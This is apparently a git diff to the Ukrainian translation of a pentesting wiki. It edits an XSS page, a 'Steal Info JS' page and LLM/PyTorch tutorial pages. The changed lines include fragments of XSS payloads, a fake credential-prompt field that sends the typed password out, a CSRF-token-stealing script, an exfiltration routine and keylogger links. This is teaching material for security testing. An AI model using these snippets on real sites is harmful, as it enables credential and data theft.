Єдині **Content-Type**s, які дозволять Chrome виконати **завантажений скрипт**, - це ті, що містяться в константі **`kSupportedJavascriptTypes`** з [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc)
```c
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
@ -868,7 +868,7 @@ const char* const kSupportedJavascriptTypes[] = {
Відповідь:
* **module** (за замовчуванням, нічого не потрібно пояснювати)
* [**webbundle**](https://web.dev/web-bundles/): Web Bundles - це функція, яка дозволяє упакувати купу даних (HTML, CSS, JS…) разом у файл **`.wbn`**.
* [**webbundle**](https://web.dev/web-bundles/): Web Bundles це функція, яка дозволяє упакувати купу даних (HTML, CSS, JS…) разом у файл **`.wbn`**.
```html
<script type="webbundle">
{
@ -944,7 +944,7 @@ import { partition } from "lodash";
Наприклад, у [**цьому звіті**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) це було використано для **втечі JSON рядка** всередині скрипта та виконання довільного коду.
### Кеш Chrome до XSS
### Chrome Cache до XSS
{% content-ref url="chrome-cache-to-xss.md" %}
[chrome-cache-to-xss.md](chrome-cache-to-xss.md)
@ -998,7 +998,7 @@ import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
// our actual module code
});
```
Отже, якщо з цього модуля ми можемо **викликати іншу функцію**, можливо використовувати `arguments.callee.caller.arguments[1]` з цієї функції для доступу до **`require`**:
Отже, якщо з цього модуля ми можемо **викликати іншу функцію**, можливо використовувати `arguments.callee.caller.arguments[1]` з тієї функції для доступу до **`require`**:
{% code overflow="wrap" %}
```javascript
@ -1200,7 +1200,7 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
```
_Короткі часи вказують на відповідний порт_ _Довші часи вказують на відсутність відповіді._
Перегляньте список заборонених портів у Chrome [**тут**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc) та у Firefox [**тут**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
Перегляньте список портів, заборонених у Chrome [**тут**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc) та у Firefox [**тут**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
### Поле для запиту облікових даних
```markup
@ -1228,7 +1228,7 @@ body:username.value+':'+this.value
* [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
* Ви також можете використовувати metasploit `http_javascript_keylogger`
### Викрадення CSRF токенів
### Stealing CSRF tokens
```javascript
<script>
var req = new XMLHttpRequest();
@ -1267,7 +1267,7 @@ document.getElementById("message").src += "&"+e.data;
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}
### Сліпі XSS payloads
### Сліпі XSS корисні навантаження
Ви також можете використовувати: [https://xsshunter.com/](https://xsshunter.com)
```markup
@ -1352,25 +1352,25 @@ console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightCo
### XSS у динамічно створеному PDF
Якщо веб-сторінка створює PDF, використовуючи введення, контрольоване користувачем, ви можете спробувати **обманути бота**, який створює PDF, щоб він **виконував довільний JS код**.\
Отже, якщо **бот створення PDF знаходить** якийсь **HTML** **теги**, він буде **інтерпретувати** їх, і ви можете **зловживати** цією поведінкою, щоб викликати **Server XSS**.
Отже, якщо **бот створення PDF знаходить** якісь **HTML** **теги**, він буде **інтерпретувати** їх, і ви можете **зловживати** цією поведінкою, щоб викликати **Server XSS**.
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
[server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md)
{% endcontent-ref %}
Якщо ви не можете вставити HTML теги, варто спробувати **вставити PDF дані**:
Якщо ви не можете ввести HTML теги, варто спробувати **ввести PDF дані**:
{% content-ref url="pdf-injection.md" %}
[pdf-injection.md](pdf-injection.md)
{% endcontent-ref %}
### XSS в Amp4Email
### XSS у Amp4Email
AMP, спрямований на прискорення продуктивності веб-сторінок на мобільних пристроях, включає HTML теги, доповнені JavaScript, щоб забезпечити функціональність з акцентом на швидкість і безпеку. Він підтримує ряд компонентів для різних функцій, доступних через [AMP компоненти](https://amp.dev/documentation/components/?format=websites).
Формат [**AMP для електронної пошти**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) розширює специфічні AMP компоненти для електронних листів, дозволяючи отримувачам взаємодіяти з контентом безпосередньо в їхніх електронних листах.
Приклад [**опису XSS в Amp4Email в Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
Приклад [**опису XSS у Amp4Email у Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
### XSS завантаження файлів (svg)
@ -1446,15 +1446,15 @@ id="foo"/>
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Якщо ви зацікавлені в **кар'єрі в хакерстві** та зламуванні незламного - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Вчіться та практикуйте AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Вчіться та практикуйте GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View file

@ -1,6 +1,8 @@
# Steal Info JS
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Вивчайте та практикуйте AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -13,8 +15,6 @@
</details>
{% endhint %}
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
```javascript
// SELECT HERE THE EXFILTRATION MODE (more than 1 can be selected)
@ -123,13 +123,11 @@ window.onmessage = function(e){
exfil_info("onmessage", encode(e.data))
}
```
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Вивчайте та практикуйте AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View file

@ -2,7 +2,7 @@
## Попереднє навчання
Попереднє навчання є основною фазою в розробці великої мовної моделі (LLM), де модель піддається впливу величезних і різноманітних обсягів текстових даних. Під час цього етапу **LLM вивчає основні структури, шаблони та нюанси мови**, включаючи граматику, словниковий запас, синтаксис і контекстуальні зв'язки. Обробляючи ці обширні дані, модель набуває широкого розуміння мови та загальних знань про світ. Ця всебічна база дозволяє LLM генерувати зв'язний і контекстуально релевантний текст. Після цього попередньо навчена модель може пройти доопрацювання, де вона додатково навчається на спеціалізованих наборах даних, щоб адаптувати свої можливості для конкретних завдань або доменів, покращуючи свою продуктивність і релевантність у цільових застосуваннях.
Попереднє навчання є основною фазою в розробці великої мовної моделі (LLM), де модель піддається впливу величезних і різноманітних обсягів текстових даних. Під час цього етапу **LLM вивчає основні структури, шаблони та нюанси мови**, включаючи граматику, словниковий запас, синтаксис і контекстуальні зв'язки. Обробляючи ці обширні дані, модель набуває широкого розуміння мови та загальних знань про світ. Ця всебічна база дозволяє LLM генерувати зв'язний і контекстуально релевантний текст. Після цього попередньо навчена модель може пройти донавчання, де вона додатково тренується на спеціалізованих наборах даних, щоб адаптувати свої можливості для конкретних завдань або доменів, покращуючи свою продуктивність і релевантність у цільових застосуваннях.
## Основні компоненти LLM
@ -13,7 +13,7 @@
* **Розмір векторного вкладу**: Розмір вектора, що використовується для представлення кожного токена або слова. LLM зазвичай використовують мільярди вимірів.
* **Схований розмір**: Розмір прихованих шарів у нейронній мережі.
* **Кількість шарів (глибина)**: Скільки шарів має модель. LLM зазвичай використовують десятки шарів.
* **Кількість голів уваги**: У трансформерних моделях це кількість окремих механізмів уваги, що використовуються в кожному шарі. LLM зазвичай використовують десятки голів.
* **Кількість механізмів уваги**: У трансформерних моделях це кількість окремих механізмів уваги, що використовуються в кожному шарі. LLM зазвичай використовують десятки механізмів.
* **Випадкове відключення**: Випадкове відключення — це щось на зразок відсотка даних, які видаляються (ймовірності стають 0) під час навчання, що використовується для **запобігання перенавчанню.** LLM зазвичай використовують від 0 до 20%.
Конфігурація моделі GPT-2:
@ -70,9 +70,9 @@ tensor2d = torch.tensor([[1, 2],
tensor3d = torch.tensor([[[1, 2], [3, 4]],
[[5, 6], [7, 8]]])
```
### Типи даних тензорів
### Tensor Data Types
Тензори PyTorch можуть зберігати дані різних типів, таких як цілі числа та числа з плаваючою комою.&#x20;
PyTorch тензори можуть зберігати дані різних типів, таких як цілі числа та числа з плаваючою комою.&#x20;
Ви можете перевірити тип даних тензора, використовуючи атрибут `.dtype`:
```python
@ -80,7 +80,7 @@ tensor1d = torch.tensor([1, 2, 3])
print(tensor1d.dtype) # Output: torch.int64
```
* Тензори, створені з цілих чисел Python, мають тип `torch.int64`.
* Тензори, створені з чисел з плаваючою комою Python, мають тип `torch.float32`.
* Тензори, створені з дійсних чисел Python, мають тип `torch.float32`.
Щоб змінити тип даних тензора, використовуйте метод `.to()`:
```python
@ -91,7 +91,7 @@ print(float_tensor.dtype) # Output: torch.float32
PyTorch надає різноманітні операції для маніпуляції тензорами:
* **Отримання форми**: Використовуйте `.shape`, щоб отримати розміри тензора.
* **Доступ до форми**: Використовуйте `.shape`, щоб отримати розміри тензора.
```python
print(tensor2d.shape) # Вихід: torch.Size([2, 2])
@ -117,12 +117,12 @@ result = tensor2d @ tensor2d.T
Тензори є основою в PyTorch для побудови та навчання нейронних мереж:
* Вони зберігають вхідні дані, ваги та зсуви.
* Вони полегшують операції, необхідні для прямого та зворотного проходів у алгоритмах навчання.
* Завдяки autograd, тензори дозволяють автоматично обчислювати градієнти, спрощуючи процес оптимізації.
* Вони полегшують операції, необхідні для прямого та зворотного проходів у навчальних алгоритмах.
* Завдяки autograd, тензори дозволяють автоматичне обчислення градієнтів, спрощуючи процес оптимізації.
## Автоматичне диференціювання
Автоматичне диференціювання (AD) — це обчислювальна техніка, що використовується для **оцінки похідних (градієнтів)** функцій ефективно та точно. У контексті нейронних мереж AD дозволяє обчислювати градієнти, необхідні для **алгоритмів оптимізації, таких як градієнтний спуск**. PyTorch надає механізм автоматичного диференціювання під назвою **autograd**, який спрощує цей процес.
Автоматичне диференціювання (AD) — це обчислювальна техніка, що використовується для **оцінки похідних (градієнтів)** функцій ефективно та точно. У контексті нейронних мереж AD дозволяє обчислювати градієнти, необхідні для **оптимізаційних алгоритмів, таких як градієнтний спуск**. PyTorch надає механізм автоматичного диференціювання під назвою **autograd**, який спрощує цей процес.
### Математичне пояснення автоматичного диференціювання
@ -132,7 +132,7 @@ result = tensor2d @ tensor2d.T
Математично, якщо `y=f(u)` і `u=g(x)`, то похідна `y` по відношенню до `x` є:
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**2. Обчислювальний граф**
@ -142,7 +142,7 @@ result = tensor2d @ tensor2d.T
Розглянемо просту функцію:
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Де:
@ -154,11 +154,11 @@ result = tensor2d @ tensor2d.T
**4. Обчислення градієнтів вручну**
<figure><img src="../../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
**5. Чисельне обчислення**
<figure><img src="../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
### Реалізація автоматичного диференціювання в PyTorch
@ -198,7 +198,7 @@ Gradient w.r.t b: tensor([-0.0817])
У більших нейронних мережах з кількома шарами процес обчислення градієнтів стає більш складним через збільшену кількість параметрів і операцій. Однак основні принципи залишаються незмінними:
* **Прямий прохід:** Обчисліть вихід мережі, пропустивши вхідні дані через кожен шар.
* **Прямий прохід:** Обчисліть вихід мережі, пропускаючи вхідні дані через кожен шар.
* **Обчислити втрати:** Оцініть функцію втрат, використовуючи вихід мережі та цільові мітки.
* **Зворотний прохід (зворотне поширення):** Обчисліть градієнти втрат щодо кожного параметра в мережі, застосовуючи правило ланцюга рекурсивно від вихідного шару до вхідного шару.
@ -214,7 +214,7 @@ Gradient w.r.t b: tensor([-0.0817])
Розгляньте просту нейронну мережу з одним прихованим шаром:
<figure><img src="../../.gitbook/assets/image (5).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
### **4. Реалізація в PyTorch**

View file

@ -5,13 +5,13 @@
Механізми уваги дозволяють нейронним мережам **зосереджуватися на конкретних частинах вхідних даних під час генерації кожної частини виходу**. Вони призначають різні ваги різним вхідним даним, допомагаючи моделі вирішити, які вхідні дані є найбільш релевантними для поставленого завдання. Це є критично важливим у таких завданнях, як машинний переклад, де розуміння контексту всього речення необхідне для точного перекладу.
{% hint style="success" %}
Мета цього четвертого етапу дуже проста: **застосувати деякі механізми уваги**. Це будуть багато **повторюваних шарів**, які будуть **фіксувати зв'язок слова у словнику з його сусідами в поточному реченні, що використовується для навчання LLM**.\
Для цього використовується багато шарів, тому багато навчальних параметрів будуть фіксувати цю інформацію.
Мета цього четвертого етапу дуже проста: **застосувати деякі механізми уваги**. Це будуть багато **повторюваних шарів**, які **захоплюють зв'язок слова у словнику з його сусідами в поточному реченні, що використовується для навчання LLM**.\
Для цього використовується багато шарів, тому багато навчальних параметрів будуть захоплювати цю інформацію.
{% endhint %}
### Розуміння механізмів уваги
У традиційних моделях послідовності до послідовності, що використовуються для перекладу мов, модель кодує вхідну послідовність у вектор контексту фіксованого розміру. Однак цей підхід має труднощі з довгими реченнями, оскільки вектор контексту фіксованого розміру може не захоплювати всю необхідну інформацію. Механізми уваги вирішують це обмеження, дозволяючи моделі враховувати всі вхідні токени під час генерації кожного вихідного токена.
У традиційних моделях послідовність до послідовності, що використовуються для перекладу мов, модель кодує вхідну послідовність у вектор контексту фіксованого розміру. Однак цей підхід має труднощі з довгими реченнями, оскільки вектор контексту фіксованого розміру може не захоплювати всю необхідну інформацію. Механізми уваги вирішують це обмеження, дозволяючи моделі враховувати всі вхідні токени під час генерації кожного вихідного токена.
#### Приклад: Машинний переклад
@ -43,19 +43,19 @@
Просто помножте кожне значення виміру запиту на відповідне значення кожного токена і додайте результати. Ви отримуєте 1 значення для кожної пари токенів.
{% endhint %}
Для кожного слова в реченні обчисліть **оцінку уваги** відносно "shiny", обчисливши скалярний добуток їх векторних представлень.
Для кожного слова в реченні обчисліть **оцінку уваги** відносно "shiny", обчислюючи скалярний добуток їх векторних представлень.
**Оцінка уваги між "Hello" та "shiny"**
<figure><img src="../../.gitbook/assets/image (4) (1).png" alt="" width="563"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (4) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
**Оцінка уваги між "shiny" та "shiny"**
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
**Оцінка уваги між "sun" та "shiny"**
<figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
#### Крок 2: Нормалізація оцінок уваги для отримання ваг уваги
@ -67,19 +67,19 @@
Застосуйте **функцію softmax** до оцінок уваги, щоб перетворити їх на ваги уваги, які в сумі дають 1.
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt="" width="293"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1).png" alt="" width="293"><figcaption></figcaption></figure>
Обчислення експонент:
<figure><img src="../../.gitbook/assets/image (4) (1) (1).png" alt="" width="249"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (4) (1) (1) (1).png" alt="" width="249"><figcaption></figcaption></figure>
Обчислення суми:
<figure><img src="../../.gitbook/assets/image (5) (1).png" alt="" width="563"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (5) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
Обчислення ваг уваги:
<figure><img src="../../.gitbook/assets/image (6) (1).png" alt="" width="404"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (6) (1) (1).png" alt="" width="404"><figcaption></figcaption></figure>
#### Крок 3: Обчислення вектора контексту
@ -95,13 +95,13 @@
* **Зважене векторне представлення "Hello"**:
<figure><img src="../../.gitbook/assets/image (7) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (7) (1) (1).png" alt=""><figcaption></figcaption></figure>
* **Зважене векторне представлення "shiny"**:
<figure><img src="../../.gitbook/assets/image (8) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (8) (1) (1).png" alt=""><figcaption></figcaption></figure>
* **Зважене векторне представлення "sun"**:
<figure><img src="../../.gitbook/assets/image (9) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (9) (1) (1).png" alt=""><figcaption></figcaption></figure>
Сумування зважених векторних представлень:
@ -111,15 +111,15 @@
### Підсумок процесу
1. **Обчисліть оцінки уваги**: Використовуйте скалярний добуток між векторним представленням цільового слова та векторними представленнями всіх слів у послідовності.
1. **Обчисліть оцінки уваги**: Використовуйте скалярний добуток між вектором представлення цільового слова та векторами представлення всіх слів у послідовності.
2. **Нормалізуйте оцінки для отримання ваг уваги**: Застосуйте функцію softmax до оцінок уваги, щоб отримати ваги, які в сумі дають 1.
3. **Обчисліть вектор контексту**: Помножте векторне представлення кожного слова на його вагу уваги та підсумуйте результати.
## Самоувага з навчальними вагами
На практиці механізми самоуваги використовують **навчальні ваги** для вивчення найкращих представлень для запитів, ключів і значень. Це передбачає введення трьох матриць ваг:
На практиці механізми самоуваги використовують **навчальні ваги** для навчання найкращих представлень для запитів, ключів і значень. Це передбачає введення трьох матриць ваг:
<figure><img src="../../.gitbook/assets/image (10) (1).png" alt="" width="239"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (10) (1) (1).png" alt="" width="239"><figcaption></figcaption></figure>
Запит - це дані, які використовуються, як і раніше, тоді як матриці ключів і значень - це просто випадкові навчальні матриці.
@ -165,12 +165,12 @@ values = torch.matmul(inputs, W_value)
**Масштабування оцінок**
Щоб запобігти тому, щоб скалярні добутки стали занадто великими, масштабуйте їх за квадратним коренем розміру ключа `dk`:
Щоб запобігти тому, щоб скалярні добутки ставали занадто великими, масштабуйте їх за квадратним коренем розміру ключа `dk`:
<figure><img src="../../.gitbook/assets/image (13).png" alt="" width="295"><figcaption></figcaption></figure>
{% hint style="success" %}
Оцінка ділиться на квадратний корінь з вимірів, оскільки скалярні добутки можуть стати дуже великими, і це допомагає їх регулювати.
Оцінка ділиться на квадратний корінь розмірів, оскільки скалярні добутки можуть ставати дуже великими, і це допомагає їх регулювати.
{% endhint %}
**Застосування Softmax для отримання ваг уваги:** Як у початковому прикладі, нормалізуйте всі значення так, щоб їхня сума дорівнювала 1.&#x20;
@ -179,7 +179,7 @@ values = torch.matmul(inputs, W_value)
#### Крок 3: Обчислення контекстних векторів
Як у початковому прикладі, просто складіть усі матриці значень, помноживши кожну з них на її вагу уваги:
Як у початковому прикладі, просто складіть усі матриці значень, множачи кожну з них на її вагу уваги:
<figure><img src="../../.gitbook/assets/image (15).png" alt="" width="328"><figcaption></figcaption></figure>
@ -410,9 +410,9 @@ print("context_vecs.shape:", context_vecs.shape)
Для ще однієї компактної та ефективної реалізації ви можете використовувати клас [`torch.nn.MultiheadAttention`](https://pytorch.org/docs/stable/generated/torch.nn.MultiheadAttention.html) у PyTorch.
{% hint style="success" %}
Коротка відповідь ChatGPT про те, чому краще розділити виміри токенів між головами, замість того, щоб кожна голова перевіряла всі виміри всіх токенів:
Коротка відповідь ChatGPT про те, чому краще розділити виміри токенів між головами, а не дозволяти кожній голові перевіряти всі виміри всіх токенів:
Хоча дозволити кожній голові обробляти всі вимірювання вбудовування може здаватися вигідним, оскільки кожна голова матиме доступ до всієї інформації, стандартна практика полягає в тому, щоб **розділити вимірювання вбудовування між головами**. Цей підхід забезпечує баланс між обчислювальною ефективністю та продуктивністю моделі та заохочує кожну голову вивчати різноманітні представлення. Тому розподіл вимірювань вбудовування зазвичай є кращим, ніж дозволяти кожній голові перевіряти всі виміри.
Хоча дозволити кожній голові обробляти всі вимірювання вбудовування може здаватися вигідним, оскільки кожна голова матиме доступ до всієї інформації, стандартною практикою є **розподіл вимірів вбудовування між головами**. Цей підхід забезпечує баланс між обчислювальною ефективністю та продуктивністю моделі та заохочує кожну голову вивчати різноманітні представлення. Тому розподіл вимірів вбудовування зазвичай є кращим, ніж дозволяти кожній голові перевіряти всі виміри.
{% endhint %}
## References

View file

@ -12,7 +12,7 @@ LLM architecture example from [https://github.com/rasbt/LLMs-from-scratch/blob/m
A high level representation can be observed in:
<figure><img src="../../.gitbook/assets/image (3) (1).png" alt="" width="563"><figcaption><p><a href="https://camo.githubusercontent.com/6c8c392f72d5b9e86c94aeb9470beab435b888d24135926f1746eb88e0cc18fb/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830345f636f6d707265737365642f31332e776562703f31">https://camo.githubusercontent.com/6c8c392f72d5b9e86c94aeb9470beab435b888d24135926f1746eb88e0cc18fb/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830345f636f6d707265737365642f31332e776562703f31</a></p></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt="" width="563"><figcaption><p><a href="https://camo.githubusercontent.com/6c8c392f72d5b9e86c94aeb9470beab435b888d24135926f1746eb88e0cc18fb/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830345f636f6d707265737365642f31332e776562703f31">https://camo.githubusercontent.com/6c8c392f72d5b9e86c94aeb9470beab435b888d24135926f1746eb88e0cc18fb/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830345f636f6d707265737365642f31332e776562703f31</a></p></figcaption></figure>
1. **Input (Tokenized Text)**: Процес починається з токенізованого тексту, який перетворюється на числові представлення.
2. **Token Embedding and Positional Embedding Layer**: Токенізований текст проходить через **шар вбудовування токенів** та **шар позиційного вбудовування**, який захоплює позицію токенів у послідовності, що є критично важливим для розуміння порядку слів.
@ -215,7 +215,7 @@ torch.sqrt(torch.tensor(2.0 / torch.pi)) *
* **Плавна Активація:** На відміну від ReLU, яка обнуляє негативні вхідні дані, GELU плавно відображає вхідні дані на виходи, дозволяючи невеликі, ненульові значення для негативних вхідних даних.
* **Математичне Визначення:**
<figure><img src="../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
{% hint style="info" %}
Мета використання цієї функції після лінійних шарів всередині шару FeedForward полягає в тому, щоб змінити лінійні дані на нелінійні, щоб дозволити моделі вивчати складні, нелінійні зв'язки.
@ -274,7 +274,7 @@ return x # Output shape: (batch_size, seq_len, emb_dim)
{% hint style="info" %}
Мета цієї мережі - знайти відносини між токенами в одному контексті. Більше того, токени діляться на різні голови, щоб запобігти перенавчанню, хоча фінальні відносини, знайдені для кожної голови, об'єднуються в кінці цієї мережі.
Крім того, під час навчання застосовується **каузальна маска**, щоб пізні токени не враховувалися при пошуку специфічних відносин до токена, і також застосовується **dropout** для **запобігання перенавчанню**.
Крім того, під час навчання застосовується **каузальна маска**, щоб пізні токени не враховувалися при пошуку специфічних відносин до токена, і також застосовується деякий **dropout** для **запобігання перенавчанню**.
{% endhint %}
### **Нормалізація** Шарів
@ -297,16 +297,16 @@ return self.scale * norm_x + self.shift
* **Layer Normalization:** Техніка, що використовується для нормалізації вхідних даних по ознаках (вимірах вбудовування) для кожного окремого прикладу в партії.
* **Компоненти:**
* **`eps`:** Маленька константа (`1e-5`), додана до дисперсії, щоб запобігти діленню на нуль під час нормалізації.
* **`eps`:** Маленька константа (`1e-5`), що додається до дисперсії, щоб запобігти діленню на нуль під час нормалізації.
* **`scale` та `shift`:** Навчальні параметри (`nn.Parameter`), які дозволяють моделі масштабувати та зміщувати нормалізований вихід. Вони ініціалізуються одиницями та нулями відповідно.
* **Процес Нормалізації:**
* **Обчислення Середнього (`mean`):** Обчислює середнє значення вхідного `x` по виміру вбудовування (`dim=-1`), зберігаючи вимір для трансляції (`keepdim=True`).
* **Обчислення Дисперсії (`var`):** Обчислює дисперсію `x` по виміру вбудовування, також зберігаючи вимір. Параметр `unbiased=False` забезпечує, що дисперсія обчислюється за допомогою упередженого оцінювача (ділення на `N` замість `N-1`), що є доречним при нормалізації по ознаках, а не зразках.
* **Обчислення Дисперсії (`var`):** Обчислює дисперсію `x` по виміру вбудовування, також зберігаючи вимір. Параметр `unbiased=False` забезпечує обчислення дисперсії за допомогою упередженого оцінювача (ділення на `N` замість `N-1`), що є доречним при нормалізації по ознакам, а не зразкам.
* **Нормалізація (`norm_x`):** Віднімає середнє від `x` і ділить на квадратний корінь з дисперсії плюс `eps`.
* **Масштабування та Зміщення:** Застосовує навчальні параметри `scale` та `shift` до нормалізованого виходу.
{% hint style="info" %}
Мета полягає в забезпеченні середнього значення 0 з дисперсією 1 по всіх вимірах одного токена. Мета цього - **стабілізувати навчання глибоких нейронних мереж** шляхом зменшення внутрішнього зміщення коваріат, що відноситься до зміни розподілу активацій мережі через оновлення параметрів під час навчання.
Мета полягає в забезпеченні середнього значення 0 з дисперсією 1 по всіх вимірах одного й того ж токена. Мета цього - **стабілізувати навчання глибоких нейронних мереж** шляхом зменшення внутрішнього зсуву коваріат, що відноситься до зміни розподілу активацій мережі через оновлення параметрів під час навчання.
{% endhint %}
### **Transformer Block**
@ -356,26 +356,26 @@ return x # Output shape: (batch_size, seq_len, emb_dim)
